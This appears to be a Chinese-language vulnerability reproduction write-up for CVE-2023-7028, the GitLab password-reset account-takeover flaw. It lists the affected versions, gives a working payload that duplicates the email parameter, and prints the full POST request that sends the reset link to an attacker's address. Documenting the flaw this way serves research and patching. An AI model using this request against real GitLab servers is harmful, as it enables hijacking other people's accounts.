CVE-2023-7028
漏洞描述:
攻击者通过构造恶意请求,接收密码重置链接。重置目标账户密码接管账户。
影响版本:
16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2
漏洞复现:
1.重置密码URL
/users/password/new
2.构造Payload
添加[]时一封邮件可以同时发送给两个邮箱。user[email][]=需要重置的邮箱&user[email][]=接收重置链接的邮箱,这样被重置的邮箱和攻击者邮箱都会收到重置密码的邮件。
Tips:重置的邮箱必须是存在的邮箱地址,否则不会发送邮件。
POST /users/password HTTP/2
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://xxxxx/users/password/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 191
Origin: xxhttps://xxxxx
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
authenticity_token=32xxxxxxxxxgw&user%5Bemail%5D%5B%5D=xxxx%40example.com&user%5Bemail%5D%5B%5D=xxxx%40xxx.xx
可以看到是两个接收人
个人总结:
漏洞用处不是特别大,影响范围广、没有明确的有效邮箱地址时也可以重置密码,但是这种情况下用处不是很大。有明确邮箱地址时会危害产品业务安全,容易造成供应链攻击。
原文始发于微信公众号(YongYe 安全实验室):CVE-2023-7028__Gitlab任意用户密码重置 复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论